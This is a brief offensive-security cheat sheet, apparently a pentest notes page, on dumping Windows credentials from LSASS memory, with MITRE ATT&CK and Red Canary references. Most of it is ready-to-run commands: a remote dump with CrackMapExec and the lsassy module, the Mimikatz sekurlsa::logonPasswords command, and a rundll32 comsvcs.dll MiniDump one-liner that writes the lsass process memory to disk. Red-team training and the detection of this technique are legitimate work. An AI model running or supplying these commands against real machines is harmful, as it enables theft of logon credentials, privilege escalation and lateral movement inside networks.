# LSASS Memory

> Adversaries commonly abuse the [Local Security Authority Subsystem Service](https://attack.mitre.org/techniques/T1003/001/) (LSASS) to dump credentials for privilege escalation, data theft, and lateral movement. The process is a fruitful target for adversaries because of the sheer amount of sensitive information it stores in memory.

### Dumping LSASS

```bash
# Dumping LSASS remotely with CrackMapExec
crackmapexec smb $ip -u $username -p $password -M lsassy

# Dumping LSASS with Mimikatz
sekurlsa::logonPasswords
```

### Dumping LSASS without Mimikatz

```bash
## https://twitter.com/inversecos/status/1450331995112804358?s=20&t=rMzsQI6ENH2SYVVaTYTqAA
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id Temp\output.dmp full;Wait-Process -Id (Get-Process rundll32).id
```

### References

{% embed url="<https://redcanary.com/threat-detection-report/techniques/lsass-memory/>" %}

{% embed url="<https://attack.mitre.org/techniques/T1003/001/>" %}


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